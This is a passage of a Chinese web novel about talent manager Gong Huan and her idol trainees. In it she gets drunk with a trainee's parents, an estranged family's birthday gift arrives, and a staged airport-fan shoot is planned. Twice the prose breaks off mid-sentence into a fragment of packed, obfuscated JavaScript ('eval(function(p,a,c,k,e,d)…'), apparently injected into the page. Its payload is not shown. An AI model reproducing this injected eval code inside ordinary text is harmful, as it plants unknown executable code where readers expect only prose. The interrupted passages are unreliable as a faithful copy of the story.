不多时,花园小门打开,走出一个中年女人,身上的穿着较为夸张,黄绿色的条纹长袜,反光连衣裙,顶着一头爆炸发型,脸上也画着荧光色的眼影。 后面跟着板寸头的中年男人,男人则好一些,穿着日常古板的灰色短袖和裤子,两人一出来看见宫欢和安声先是愣了愣。 因为他们距离有些近,看着挺亲近。 “安安?”中年女人叫了下安声,“你们这是?” 安声转头过去,脸上扬起笑:“爸妈,我回来看你们呀。”说着他忙侧过身向两人介绍:“这位是我的经纪人宫欢,知道你们担心我,特意陪我一起回来看你们!” 宫欢被两人的风格震惊到,顿了顿才打招呼。 研究杂技的,果然风格很多变。 两人招呼着宫欢和安声进门,安声将东西搬进家,安父去倒水招呼宫欢,叶有仪则拉着安声到厨房悄悄问:“你是不是被包养了?” 安声当即愣住,险些破音:“妈妈,你怎么会这么想!我我,我才不会放弃自己的原则!” “必要时候,原则问题可以忽略一下。”叶有仪嘟囔了句。 叶有仪偷偷看了眼客厅,安父板着脸做了个请的手势,一板一眼地招呼客人:“请——” 宫欢着实没应付过来,她混惯了娱乐场,和人精交手多了,猛然遇上这么随性的一家人,倒是有些不知所措了。 她干笑两声说谢谢,端起茶喝了口。 刚喝了一口,安父炸雷般的声音接道:“——喝!” “咳咳咳咳咳!!” 宫欢差点把茶水喷出来! 安声没提过他爸说话是0.5倍速啊!? 这天怎么聊啊喂! - 厨房。 “你带回来那些东西,看着就不便宜。” 叶有仪指了指门口那堆礼品,还有桌子上的一个礼盒,里面放着价值十几万的男士腕表,“能舍得给你花钱的,除了包养你的富婆,还会有谁?这和来下彩礼有什么区别?” “还有我的老板啊,”安声理直气壮地说,“她看中我的潜力培养我,不是很好的事情吗?” 叶有仪看向客厅,正在试戴腕表的安父,手指挠了挠蓬松的毛茸茸爆炸头: “现在的公司培养人才,不都是会让你交钱,然后送你去实习,全程无工资的吗?我都准备把棺材本拿出来给你去交钱了,等你被骗然后哭着回来认错。” “……” 安声费尽口舌才让叶有仪相信——他没有被包养,起码现在还没有。 客厅,安父坐姿端正,颇具老艺术家的姿态,他戴上腕表低头静静看了好一会儿。 然后抬头目光炯炯有神地看着宫欢,动作极慢的伸出一只手。 本是握拳的手慢慢地竖起大拇指,安父声音非常有力地肯定: “好!” 宫欢全程看着他放慢两倍速的动作,嘴角抽搐,客套道:“您喜欢就好,喜欢就好,哈哈哈。” “贵!”安父半天又蹦出一字。 “……”宫欢默默拿起杯子喝水。 - 另一边,别墅。 萧子重半天看不见两位队友,走出训练室时发现奚亭云正对着墙自闭。 “老奚,你干嘛呢?”萧子重走近,左右看了看,“安声人呢?” 奚亭云恢复到往常波澜不惊的模样,只是说到安声时,默默咬了咬牙:“拉着宫欢不知道去哪儿了。” 萧子重满脸疑惑:“他俩凑到一起干嘛?” 奚亭云:“我也想知道。” “算了,正好是休息时间了,我去取快递,你有要拿的东西没?” 奚亭云思绪不知飘去了哪里,眼神盯着空气半天没应声,萧子重伸手在他面前晃了晃:“怎么个事儿,魂儿丢了啊?” 这一打岔,奚亭云顿了顿,丢下句“没有”,便头也不回地走远了。 “嘿,这一个个的,”萧子重摇摇头,“心事一个比一个重。” 他戴上头戴式耳机,听着最新的流行乐,摇摇晃晃地去了存放快递的地方。 进入别墅后他们的吃穿住行都被全部包揽,连快递也包括在内,宫欢说什么,除非必要,一切最好都在别墅内搞定。 还举了个例子,说之前哪个男艺人收到过各种奇奇怪怪变态的快递,里面都是私人物品甚至是沾血的刀片。 以防万一,所有快递都是专门送到别墅,一旦有问题追查起来也方便。 萧子重来到别墅后门处的快递小仓库,里面大多是宫欢买的物品。 快递被人按照日期摆放整齐,他找到自己买的小物件后,瞥见快递架子上有个孤零零待在3月18日的快递盒子。 现在都四月了,三月的快递还没拆。 快递盒一个手臂勉强抱住,萧子重将头凑过去,看见贴纸上写着收件人宫欢,物品信息登记的不甚清晰:玻璃制物品,易碎。 萧子重正专注看着,身后猝不及防冒出音量极近的声音:“你在看什么?” "哎哟卧槽!" 萧子重被吓得往旁边跳了两下,扭头看见来人是谁后松了口气,他扯下耳机,心有余悸:“你别神出鬼没的啊,吓死我了差点。” 关清英双手背在身后,颇有种老干部的感觉:“你盯着那个快递看了将近一分钟,我叫了你两声都没有反应,我很好奇你到底在看什么?” 她刚搬来没两天,正在摸清别墅的环境,走到快递存放处,碰见萧子重鬼鬼祟祟的,关清英肯定,他在做些见不得人的事情。 萧子重咳了咳,指着那个快递:“就是宫欢有一个过期很久的快递,放在这有段时间了,我也好奇里面是什么玩意儿。” 关清英刚张嘴,想说问问不就知道了。 口袋里的手机震动起来,她拿出来一看,是高姐打来的电话,她接起,对面说:“你现在在家吗?” “在的。” “那正好,麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只听宫欢笑笑解释:“等我一下,我接个电话,马上回来。” 一阵脚步声后,宫欢似乎找到了一个安静的地方,视频画面里出现她有些微红的脸颊,眼眸微弯睁不开,懒洋洋地问:“怎么啦?” 高姐本想问快递的话顿了顿,“你又去哪儿应酬了?” “哎呀不重要,找我什么事儿啊?” 高姐没好气瞪她一眼,还是耐下心说:“有个3月左右的快递,找不到单号和寄件地址,我先拆开看看是什么,你查一查快递信息,看看是哪里寄来的。” “哦...我看看。” 喝了点酒的宫欢说话拖着点腔调,显得有点乖,她一只手在屏幕上划划点点。 萧子重凑了头过来,见缝插针地嘲讽:“喝了几杯啊就醉了,这点酒量还去找人喝酒。” 宫欢虽然喝了点酒反应慢,但嘴却不慢:“嘴欠就拿拖鞋拍拍,别在我跟前犯......找到了,3月的......算了,把那快递扔了吧。” 高姐刚把重重白色泡沫拨开,露出最里面包裹着的璀璨耀眼的水晶奖杯,无色透明的水晶体澄净漂亮,表面的碎钻反射着彩光。 “丢掉?”高姐愣了愣。 “什么?”萧子重听见也跟着反问,“你钱多烧的啊?这水晶品种看着就是少见的那类,估计是挑了块好材质做的,你是不是喝多了?” “奖杯上面写着——”萧子重凑近去看,想一字一句念出来。 手机窄小的方块屏幕里,宫欢垂下眼,像是带着情绪的挂了脸,直接挂断了视频。 高姐和萧子重都没反应过来。 紧接着手机传来信息提示声,高姐拿起手机,看见宫欢发来了一张截图,快递的寄件地址清晰明了。 高姐一看就懂了,心里默默叹了口气。 “祝欢欢,永远快乐。”萧子重坚持念完了奖杯上的刻字,琢磨着,“3月份的快递,那这不是庆祝她生日的水晶杯吗?” 高姐将水晶杯翻转几下看了看,还是拍了照片和视频发给宫欢。 萧子重咋咋呼呼地问:“真要扔啊,能不能扔我门口,我去捡。” 高姐白他一眼:“你能不能别这么吵。” 坐在沙发上看剧本的关清英也认同:“确实有点吵。” 萧子重深感这个家里没人懂他:“不是,水晶啊那是!各位姑奶奶,我之前见过和这个成分差不多的水晶都卖到上千万了!” “不过,宫欢为什么要扔掉,”萧子重慢慢地恢复理智,“她不喜欢这个礼物吗?” 高姐点到即止:“她家里寄来的。” 说着将水晶奖杯收好放在一边,准备和以往的礼物一样放在暂住的客房房间里。 高姐这句话直接将萧子重的注意力从水晶奖杯身上移到其他地方。 萧子重前段时间刷的悬疑剧派上用场,他若有所思。 宫欢要扔掉家里寄来的水晶奖杯生日礼物,她和家里关系不好? 话说,宫欢家里是什么背景? 种种疑问,让萧子重如同找到了解谜的乐趣,一个人解谜差点意思。 于是他转身离开大厅,走到后花园,手指在手机屏幕上戳戳点点,将发现的秘密发在了三个人的小群里面—— 【你们绝对想不到我刚才发现了什么惊天秘密!跟宫欢有关的!】 三人小群的群名叫—— (3)折叠,怎么叠都有面。 群名是萧子重起的,从三大金刚、三大天王、三人成虎中挑了个上档次的群名。 发完消息,萧子重就一直等着另外两人附和,问他到底发现了什么。左等右等,终于等来了奚亭云的回复。 奚亭云:【疑惑.jpg,什么秘密?】 萧子重乐滋滋地准备分享大瓜的神情,在看见奚亭云的表情包时,当即卡壳,裂开。 不为别的,就因为奚亭云发的疑惑表情包——是宫欢的表情包。 放大的Q版软萌大头像,脸上的五官皱起来,超大的圆眼睛向上看,头顶冒出个大大的问号。 萧子重身上的鸡皮疙瘩冒出来,秘密也不急着说了,直接发问:【你怎么用宫欢的表情包!?】 奚亭云:【好看,爱用。】 萧子重复杂地看着奚亭云的四字回复,总觉得一阵膈应,好像路过哪里被人踹了一脚。 奚亭云:【快说是什么秘密。】 萧子重整理了下心情,才嗒嗒嗒敲字发出去,怕发的时间慢了,奚亭云又会甩过来两个宫欢的表情包膈应他。 只得两三句就点一次发送,让对方只能思考,没空回复。 【事情要从我拿到一个快递说起......】 31. 义结金兰 宫欢挂了视频通话。 她坐在安声家的花园台阶上,抬手揉了揉脸。因为这通视频电话,她有些酒醒了。 两小时前,她跟安声父母聊了几句后,准备完事儿走人,结果被留下吃饭。 拒绝也不太好,她索性就答应下来,没想到—— 叶有仪决定,将家里珍藏的汾酒拿出来招待宫欢这位贵客,一桌子家常好菜又加上汾酒,宫欢很久没感受到这样的氛围了,就喝得多了点。 酒正酣处,宫欢脑袋里仿佛充盈着许许多多的气泡水,晃一下都咕噜噜的响。 她和叶有仪边喝边聊,十分投机,到后面,叶有仪紧紧攥着她的手,说要结拜为姐妹! 宫欢当时也是酒上头了,一把推开阻拦的安声,拉着叶有仪对着客厅里摆放着的杂技祖师爷——吕洞宾跪下来。 宫欢和叶有仪两人对着墙壁上悬挂着的一副吕洞宾画幅,举起手中酒杯,两人对视一眼,热血澎湃。 叶有仪:“我叶有仪!” 宫欢:“我宫欢!” 两人:“今日结拜为异性姐妹!以后有福同享有难同当!” 宫欢拍着胸口大放厥词:“有仪姐你放心,安声以后在我这,我不说让他红遍好莱坞,起码国内必须火到路边的狗都得认识他!” 叶有仪抬手扶住宫欢的手臂:“妹子辛苦你了,我这个儿子不中用,能在你那找到自己的一技之长就可以了。” 宫欢牢牢抓住叶有仪的手:“那怎么行,姐的孩子我肯定当自己家孩子带!” 说着两人将酒一口灌下,安声回天无力,挫败地坐在饭桌上,对面的安父早在第一杯酒就趴了。 夜晚的冷风一阵阵吹来,将宫欢吹回现实,原本因为酒意带起的快感渐渐褪去。 她缓和了会儿情绪,才起身走进客厅。 餐桌上摆着一桌子菜,三四瓶秘制汾酒放在一边。 安父已经醉过去趴在桌上呼呼大睡,叶有仪喝到兴头上,见她回来举着酒杯催促:“总算回来了,快快,来我旁边坐,我可要好好跟你聊聊,我之前去杂技团实习的时候遇到的那俩傻逼!” 安声坐在旁边,还在努力劝道:“再喝明天你又要头疼了。” 叶有仪打了个酒嗝,诶了一声:“疼不疼的再说,今天难得碰到我妹子这么聊得来的人,不喝得尽兴绝对不行!” 原本是来帮安声应付父母,让他们不要担心他的新工作,结果饭一吃酒一喝,就这么称姐道妹上了。 安声也该改口了,不能叫姐,要叫姨。 宫欢也没办法啊。 她坐回原位,拿起小酒杯,杯中晃动着透明白酒,度数不明。 宫欢举起酒杯,另一只手被叶有仪亲切地攥住,对方眼影有些晕妆,皮肤带着岁月细纹,语重心长地带着酒味说: “妹子啊,我这个儿子从小就是散养的,我和他爸都很尊重他的决定,他想学跳舞,我们就送他去学,他去做街边驻唱歌手,我们就去给他做应援——” “您还知道应援呢?”宫欢意外地说,“其实他天赋很好,好好培养的话也是个好苗子。” “那当然知道啊!” 叶有仪一拍桌子,满桌的盘子都震了震,她是研究杂技的,自身也有参与杂技演出,手臂肌肉十分有力。 “家里还有应援的那个横幅...荧光棒......你等着啊,我去给你找找。” 叶有仪起身,摇摇晃晃地就要去找东西。安声凑到宫欢旁边说:“欢欢姐,你劝劝我妈妈,让她去睡觉吧,不然她能闹一晚上。” 叶有仪虽然醉了,耳朵却非常好使,转身的动作停住,扭过头来瞪着安声,“你刚才说什么!” 安声心虚地坐直了身体:“什,什么,什么都没有啊。” “你说——欢欢,姐!”叶有仪将脸凑近,盯着安声,然后双手重重拍在宫欢肩膀上,吓得宫欢一激灵。 叶有仪音量猛然加大,“你应该叫欢欢姨!她,她是我妹子,你不能......乱了辈分!” 宫欢手肘撑在桌上,单手扶额。 她是没想到来一趟连亲戚都认了。 安声也无语,深深呼吸,在自家母亲大人的凝视下,窘迫又难为情地叫出:“欢欢——姨!” 宫欢捂着眼不想面对现实。 叶有仪非常满意地点点头,打了个酒嗝,似乎醉的不轻,记忆力却好的不行:“对,应援,荧光棒——” 她说着就摇摇晃晃地要去找应援物品,安声连忙起身去扶,顺着叶有仪,骗她去卧室休息:“这边这边,妈妈,应援物都在这个房间。” 两人声音渐渐远了,宫欢肩膀松懈下来。 思绪却飘到刚才查询的快递地址上面,有些心不在焉地端起酒杯闷声连喝了三四杯。 这酒是秘制汾酒,比起她以往喝过的所有白酒红酒的酒劲儿都要大,攻势猛烈,几杯下去脑仁突突地刺痛,眼前的饭菜碗筷也都重影起来。 突然——! 安父身体猛地坐直,眼睛瞪得溜圆看着宫欢。 宫欢当即停住灌酒的动作,酒意被吓散了几分,半晕半醒地问:“额,叔叔你怎么了?” 安父就这么直愣愣看着宫欢持续30秒,才突兀地一个字一个字蹦出来: “叫,姐、夫!” 而后又栽回了原位继续打着呼噜熟睡。 宫欢:“......” - 房间里,安声刚给叶有仪盖好被子,口袋里的手机铃声震动响起。 他拿出手机,来电备注为——奚亭云,安声刚接起来,对面就先发问:“你们去了哪里?” 下午他们就跑出去了,现在临近凌晨人都没回来,奚亭云一整天都心不在焉。 安声以为遇到了救星,他正想着怎么把宫欢送回家,高兴地说:“太好了奚哥,你电话打的太是时候了,欢姐在我家,她喝了酒——” 后面的话奚亭云自动屏蔽了。 耳中只有宫欢,喝了酒,在安声家这几个字来回回荡。 安声后面的一大长串话都没等到奚亭云回答,他疑惑地看了看通话界面,又叫了一声:“奚哥,你在听吗?” “定、位。”压抑着的低哑声音阴沉沉传来。 通话被挂断,安声呆愣地看着手机界面,莫名感觉好像惹了什么事,又琢磨不出哪里有问题。 他点开微信,将定位发过去,想了想,还是解释一句比较好:【欢姐只是来我家作客吃了顿饭,我爸妈很喜欢她,她们喝的酒不多,放心吧,我会照顾好她的。】 发完消息,安声将手机放回口袋。 这样应该就不会误会了吧。 - 奚亭云赶到时,宫欢烂醉如泥。 他一下车连找人开栅栏都来不及,直接两三下跳翻过花园栅栏,客厅大门没关,奚亭云直接冲了进去。 进门后一眼就能看见餐厅,满桌的残羹剩饭,宫欢呆呆乖乖地坐在餐桌旁边,手脚都摆得很整齐,一点儿不像是烂醉的样子。 安声刚把老爸扛回卧室,关上卧室房门,转身就看见气喘吁吁的奚亭云,他松了口气: “奚哥你总算来了,欢姐刚才本来有点酒醒,接了个电话之后,自己闷着喝了好多酒,我感觉她醉了,可又好像没醉。” 奚亭云走到宫欢身旁,慢慢俯下身去,目光紧紧锁在她面容上,仔细去辨认:“宫欢?” 他伸手在宫欢面前轻轻晃晃:“认得我是谁吗?” 足足过了半分钟,宫欢眼珠像放慢了几倍地转向奚亭云,她脸颊泛着红,眼眸似乎蒙了层看不清的水雾,许久才眨了两下眼睛。 像是在回答他。 安声担忧地凑到另一边,想伸手摸摸宫欢的额头:“欢姐,你没事吧?” 手刚伸到一半,被奚亭云一下打开,他声音冷冷地:“我带她回去。” 说完后,又放轻声音,目光轻柔地落在宫欢身上,询问她:“我带你回去,好吗?” 安声不太懂,为什么要征得一个喝醉了的人的同意。 而且,她真的听得懂吗? 安声是站在宫欢背后两步远的位置,他不知道宫欢有没有回答,只看见奚亭云神情意外的柔和,和平时很不一样。 等了片刻,奚亭云忽然弯了弯嘴角,手轻轻地扶住宫欢的手臂,半揽着她,有些费力地扶她起身。 醉成这样,抱着更方便吧。 虽然可能不太绅士,但也是无奈之举啊。 安声迷惑地看着这一幕。 奚亭云将宫欢揽进怀里。 她身体的大半重量几乎都靠在他身上,像是找不到支柱似的,手下意识往前扯住了奚亭云的外套,紧紧揪住。 奚亭云的心仿佛也被她一起揪住了。 和下午活泼灵动的她不同,那个她随便眨眨眼就让奚亭云的脸迅速爆红,而现在的宫欢更安静,奚亭云反而可以耐心认真地和她对视,说话。 他轻轻扶着她往外走。 宫欢的烂醉状态很奇妙,不睡觉,不胡闹,只是静静地坐着发怔。 乖得让人心疼。 走出花园,安声目送他们离开时没忍住提醒了一句: “她的车牌号是——” “我知道。” 奚亭云怎么会不知道呢。 他从宫欢的衣服口袋里拿出车钥匙,打开车门,费了些力气,将宫欢扶坐在副驾驶位上,额头已经冒出了不少大颗汗珠。 所有力气都用在控制上了,放轻力道,轻轻靠近,他不敢过多的触碰她的身体。 奚亭云站在车门外,将安全带拉好给她扣上。 做完一切后缓缓呼出气,呼吸还是略微急促,无法平复。 心跳尤其的快,这是,这是他第一次这么近距离地触碰她。 不同于以前隔着手机屏幕,隔着遥远的距离,奚亭云总是只能看着宫欢的视频,在脑中幻想她平时会是什么样子的。 坐在副驾驶位的宫欢,双眼似乎没有焦点地飘着,两只手还紧紧攥着奚亭云的外套衣襟。 乖的让人心颤。 “不松开的话,是没办法开车回家的。”奚亭云耐心地放柔了语气,温柔地像是换了个人。 宫欢始终没松手,仿佛意识已经沉睡,只有个空空的壳子坐在这。 奚亭云低头看了看拽着衣襟的手,又抬头看看宫欢发怔的神情,有些无奈,更多的却是愉悦:“只能这样了。” 他屏住呼吸,身体微微前倾,带着薄茧的手搭在宫欢手腕上,虚圈着细细的腕骨,上半身已经靠近到一个非常近的距离。 奚亭云下意识咽了咽唾液,喉结滚动,他垂下眼偏过头,高挺的鼻梁和宫欢的脸交错着擦过去,额头几乎贴着她柔软的发丝,淡淡的洗发水香味涌入鼻腔。 一时间,奚亭云感觉有些晕眩。 奚亭云微微启唇,因为屏呼吸的时间过久,胸口有细微的刺痛感提醒他——呼吸。 他小口呼吸着,那股香味便得逞了,肆虐地横冲直撞地冲入头脑,刺激着他的理智,心跳顿时失序。 再这样下去,他说不定比欢欢醉得还厉害,别再停留了,别再故意靠这么近了。 要快点...... 奚亭云压低嗓音,温热的气息拂在宫欢侧脸,微微嘶哑的,诱人的,尾音上扬的嗓音在耳边荡开: “欢欢,把手松开。” 他说着,唇保持着微张的状态,口中呼出的热气在耳边不断回旋,有湿热的呼吸钻进耳道。 “乖点。” 宫欢很受用这种蛊人的声音,她眼睫极快地颤了几下,手指顿时松了力道。 奚亭云注意到她手指松开了,圈着她手腕,将她的手放回在腿上。 做完一切后他抬起头,弯月似的眼眸如此波光潋滟,动人心魄地看着她,再次带着那种让人心颤的笑意,在她耳边刻意捏着勾人的气音低笑了两声,然后夸她: “很棒,欢欢最乖了。” 这次,奚亭云起身时看见她微颤的眼睫。 他盯着她眼睛看了几秒,才关上车门,坐上驾驶位,发动车子,开往别墅。 车内很安静,只有两道呼吸声此起彼伏的交错着,已是深夜,窗外偶尔投进来光线,映出一双注视的眼,和空洞发怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高姐都不记得有多久没见过她醉成这样了,做宫欢的助理以来,她就见宫欢醉过两次,一次是她刚认识她的时候,一次是去年生日的时候。 想到今晚的茬子,高姐摇摇头走出卧室关上了门。 - 隔日一早。 安声在集合前赶到了别墅,他换好运动服到大厅,萧子重已经在做热身了。 昨天他忙得晕头转向,把宫欢送走后躺在床上就睡了,今早起来才看见小群里那二十多条消息。 ——神秘的快递。 安声走近打招呼:“早啊萧哥。” 萧子重懒洋洋地抬下巴,鼻腔里发出点闷哼声算作答应。 “昨天那个快递,是怎么回事啊?”安声看完了聊天内容,可还是不太明白,“是扔了吗?” 萧子重听见这话题就来了兴趣,刚想说什么,奚亭云从楼上下来。 人都到齐,可以出门晨跑了,萧子重收起伸展的四肢:“边跑边说。” 晨跑之前是高姐监督,几次领跑过后发现三人并没存在偷懒耍滑的小毛病,也就不再严格了,反正运动手表不会撒谎。 三人小跑着离开别墅区,沿着跑道开跑。 昨天萧子重只在群里说到快递被拆开,里面是个水晶奖杯,最后高姐收了起来,没有扔掉。 萧子重跑在两人之间,神秘兮兮地说:“你们知道这件事奇怪在哪吗?” 安声很配合地追问:“奇怪在哪儿啊?水晶很贵?” “……这也是个疑点,”萧子重说,“不过最大的疑点是——为什么要扔掉?” 这段时间看的刑侦悬疑片使三人都有基础的怀疑能力。 即:看到什么就怀疑什么,想怀疑什么就怀疑什么。 奚亭云控制着呼吸,三步一呼,三步一吸,跑步节奏稳而不乱。但有些受不了萧子重故作玄虚的态度。 “问题是,宫欢为什么要把这么贵的水晶奖杯扔掉,”奚亭云语速放慢,“昨天她和高姐视频查地址,你不是说查出来是她家寄来的东西吗?” 安声哦了声,加快跑步速度跟上两人:“欢姐不喜欢家里寄来的礼物,她和家人关系不好。” 萧子重一口咬住关键点:“没错,那么问题又来了,宫欢生日宴视频我看过不少,整个宴会上来了不少人物,偏偏就没有她家人。” 奚亭云侧头看萧子重,眼神略犀利:“你怎么知道没有她家人?” 萧子重切了声:“你们的逻辑分析还是太弱啊——我问过保洁阿姨他们了……” “而且生日宴闹这么大,算得上全网黑了,宫欢没事儿人一样,”萧子重说,“她家人居然对自己女儿遇到这么大的舆论风波一点儿反应没有?” 奚亭云:“谁说她没事,她跟你说了么?” 萧子重被奚亭云问懵了下,没想到他的注意力在这件事上面:“不是,这不是重点。” “这就是重点,”奚亭云反驳道,他盯着萧子重,“她很在意,但是只能不在意,因为在意也没有用。” 绕口令的话,似乎话里有话。 萧子重难得被绕进去,一时跑着步不知道怎么回答。 三人跑到固定的点位原路返回。 奚亭云故意落后了些,伸手碰了碰安声,两人落后了些距离,奚亭云说:“昨天接宫欢回来的事,不要说是我去接的。” 安声不解又懵逼:“那我说是谁接的啊?” “她的助理。” 安声更疑惑:“可高姐那边说不知道的话不就暴露了吗?” 奚亭云加快速度跑上前,丢下句话:“放心吧。” 安声满脑袋问号。 放心,放什么心?怎么放? 一直到跑完步回来,安声刚进了别墅大门,就被高姐拦住,严刑逼供了一番。 从宫欢昨天和他去哪儿鬼混了,到为什么喝醉酒被奚亭云送回来,安声交代得明明白白—— 除了他要叫姨这件事以外。 高姐冷哼一声,说:“宫欢等下睡醒了,肯定会问她昨天是怎么回来的,其他我不管,但是有一点,奚亭云,没有出现过,懂吗?” 安声结结巴巴:“懂,懂吧。” 他,他也不敢不懂。 奚亭云和高姐是商量好了吗,为什么不能告诉欢姐他昨天出现过? 安声觉得自己还要多看看悬疑电影。 好难,好难啊。 32. 接机假粉 头,痛得像是要裂开。 宫欢昏昏沉沉地睁开眼,发涨的眼球望着天花板。她发了会儿呆才坐起来,龇牙咧嘴地揉着头。 昨天喝了多少啊…怎么这么痛。 大脑留存的记忆片段不多,宫欢靠在床头,许多零碎的记忆像电影画面,一帧帧飞快略过。 带安声去商场买礼物,去他家做客,安父说表好,然后——他们留她吃饭,叶有仪拿出家里的珍藏汾酒来招待她...... 再之后,结拜,快递,勉强连贯的记忆从这开始崩得厉害。 宫欢顺着往后捋,而后一脸懵逼地发现崩掉的记忆里有奚亭云的脸。 她一把捂住额头,破音大叫道:“这是什么!!?” 记忆播放卡顿。 奚亭云时而半蹲在她面前仰着头,时而又在幽暗的车内空间,眼底的情绪从担忧转为奇怪的注视。 耳边若有若无地飘着——那格外好听低哑的音色在她耳边笑,又笑又吹气。 是他本人吗? 还是宫欢的臆想? 宫欢记得尤为清楚的,是他在夜色里那双幽暗微弯的眼睛,还有一声声的欢欢。 她深呼吸几下,想着,怎么能立即马上拿到户口本去改名。 别想了别想了,宫欢爬起来去洗了把脸,看着镜子里宿醉后苍白的脸,接着视线移到镜子下方的时间点。 4.11.12:20 没时间想那些乱七八糟的事情,她简单擦了擦脸就出了卧室,下楼时众人都在吃饭。 今天人格外的齐。 男团三人,高姐,还有关清英。 关清英正在看剧本,午饭吃得是麻辣烫,萧子重和安声都往她那看,口水都要流一桌子。 宫欢的拖鞋踩着楼梯发出了些声响,正用餐的奚亭云动作顿了顿,不动声色地抬眼。 埋头工作的高姐也紧跟着抬头:“起了啊。” 宫欢嗯了声,下到一楼往餐厅走去,日常跟萧子重和安声打招呼: “收收你们两个的哈喇子,口水都要流到我地板上了,保洁阿姨都嫌脏。” 她说完两人后,像是不经意,视线快速地在奚亭云身上晃了晃,又紧跟着落在关清英身上,一下亲和起来: “怎么样,有没有看好的角色?这些剧本拿来的时候我筛选过一道,留下的大部分是跟你本人特质比较相符的。” 关清英咬了□□汁的鱼籽包,将剧本放在一边,想着看过的内容说:“都很不错,我看中一个民国间谍的角色,感觉可以试试,什么时候试镜,能帮我联系一下吗?” “那当然可以啦,有你中意的剧本就行,其他都不是问题!” 宫欢拉开餐椅坐下,拿过剧本看封面的署名,“我看看是哪个导演拍的,有没有带资进组的艺人,到时候要知会一声,省得误会。” 长方形的餐桌,萧子重和安声在右侧,奚亭云坐在最前方,关清英则在左侧,而宫欢坐的是主位。 她刚一坐下,忽然顿住。 隐约感觉不对劲,她的位置和奚亭云刚好是相对的。 宫欢佯装看剧本,眼睛偷偷露出点缝,看见和她对坐着的奚亭云。 他正安静的用餐,小口的吃着硬面包,无声地咀嚼着,眼睛没有落点地看着桌面上的花纹。 大概是宫欢的视线太明显,奚亭云停下咀嚼的动作,动作慢悠悠地像是要抬头。 宫欢心里一紧,在他抬眼看过来时把剧本又往上举了举遮住脸。 好险,差点暴露。 不对啊,她怕什么? 宫欢越想越理直气壮,挺起身子坐直,将剧本放回关清英旁边,“晚点我联系好了给你安排哦。” 关清英点点头,淡然地吸了口沾满辣油的泡面。 萧子重直接看呆。 安声觉得嘴里新鲜的生菜一点都吃不下去了。 厨房阿姨将宫欢的早餐端了过来,她的早餐都是固定的那几样,三明治配牛奶。 啃三明治的时候,宫欢往安声那瞥去一眼,状似随意地问:“你妈妈他们还好吗,昨天喝得有点多了。” 安声还盯着关清英的麻辣烫,被宫欢又叫了一声才回神:“啊,啊欢姐你起来了啊。” “......”宫欢无语,故意逗他说:“叫姨。” 这种事情羞耻的不止是宫欢,安声也是受害者。 听到姨这个字他整个人像触了电似的,羞耻得无地自容,捂着脸求饶:“啊啊啊别说了!我知道错了!” 宫欢这才放过他,咬了两口面包,看着随意地问:“昨天我喝多了,谁送我回来的?” 一时间,整个大厅悄然安静下来。 安声捂脸的动作停住,眼睛紧张地乱瞟。 他右边刚好是奚亭云,今天早上他从家里过来训练的时候,奚亭云明示过他,不许说出昨天他去接宫欢的事。 啪得一声,宫欢将喝完的牛奶杯放在餐桌上,将安声打回现实。 她狐疑地看他:“你发什么呆呢,我记得昨天你没喝酒啊,不记得了?” 安声很少撒谎,他放下手,整个人僵直地坐着,眨眼的频率非常频繁:“是,是高姐送你回来的。” “你确定?”宫欢挑眉问。 萧子重看戏似的,目光在两人身上来回看。 关清英则是在听见“高姐送回来”这件事时,意外地将头转向奚亭云那方。 安声欲哭无泪,心里默念着“我是被逼无奈”、“我是被迫的”,狠狠心肯定地回答:“是!” “你真的确定?”宫欢一字一句地说。 她身体前倾,带着压迫感:“如果被我发现你骗我的话......我会告诉你妈妈,你根本不把我当长辈。” 安声的眼睛顿时瞪大,嘴唇抿得直直的,像是自动缝上嘴巴了似的,眼眸水蒙蒙一片,看着马上就要认罪了。 “他确定。” 奚亭云这时突然出声,他拿起餐布擦了擦手,抬头直视宫欢,甚至带着某种故意成分地扬起嘴角,勾起个好看的笑。 “我也看见了。” 宫欢一口气梗在胸口。 安声被人救场,连连点头:“对对对!奚哥看见了!” 宫欢目光尽数放在奚亭云脸上,眯着眼上下扫视,想要从他身上找出撒谎的证据。 奚亭云也就淡笑着任由宫欢看,偏凌厉的眼型弯成月牙,卧蚕衬得眼睛格外温柔。 萧子重膈应得很,伸出手在他们之间晃了晃:“你俩干嘛呢?仇人见面分外眼红?” 宫欢磨了磨牙,知道问不出什么了,只好哼了一声离开餐桌。 她走到不远处的沙发旁坐下,也不再追问那件事,转而问高姐:“今天什么安排?” 高姐正忙着处理事务,并没注意刚才餐桌上的暗流涌动,头也不抬地找出日程表,看了看说: “接机群演说档期空出来了,可以去拍接机的视频。” - 机场。 七人座商务车停在机场门外,众人纷纷从车上下来。 远远看过来,几人穿着低调却不简单,服饰搭配各有各的风格,还没进机场就惹来不少目光。 奚亭云的上衣是渐变蓝的宽松毛衣,一侧肩膀上的布料被刻意划出几道裂口,露出若隐若现的皮肤,下身搭配深色牛仔裤,整体有种阴郁的蓝调氛围。 出门前造型师还在发型上做了一小时功夫,上挑起他额侧半边刘海,另外一侧做出了些弧度。 他面部五官立体显眼,需要用额头做留白部分,这样让人一眼看过之后总是会回味。 萧子重则就是另一种风格,上身内衬是白T搭深棕的马甲背心,马甲下摆一圈长条流苏,下身也是同等色调的短裤和马丁靴。 全身是同色调的情况下,发型就做的简单多了。 避免抢眼,宫欢只让人给萧子重在眼睛部分多加重点,五官稍微修饰,突出他形似沙漠中大型食肉动物的捕猎野性注视。 接着是安声,他脸型偏稚嫩,需要大胆用色彩让人记住这张白纸。 原本浅金色的头发,染成了偏张扬亮眼的粉白色,穿搭简单得多—— 银白色的V形真丝衬衫,露出锁骨和部分的胸口皮肤,配白色阔腿垂坠布料的长裤,这些配色非常考验人的比例和气质。 一旦穿不好就容易变土,变精神小伙。 但安声常年学舞,气质方面当然不必说,而且宫欢让他注意多笑,不要钱的笑,一笑起来,脸颊一侧的梨涡就显了出来,非常鲜活生动,仿佛一下拉高了曝光度。 全员到位后,宫欢在三人面前来回踱步,欣赏着自己的艺人。 “不错,已经有点样子了。” 宫欢说:“等下我们进去之后,群演会根据我们的口号开始去围住你们,像什么尖叫啊,伸手要握手,要签名,叫哥哥老公老婆宝宝崽崽乱七八糟的都不要应,但是也不要给我冷着脸啊。” 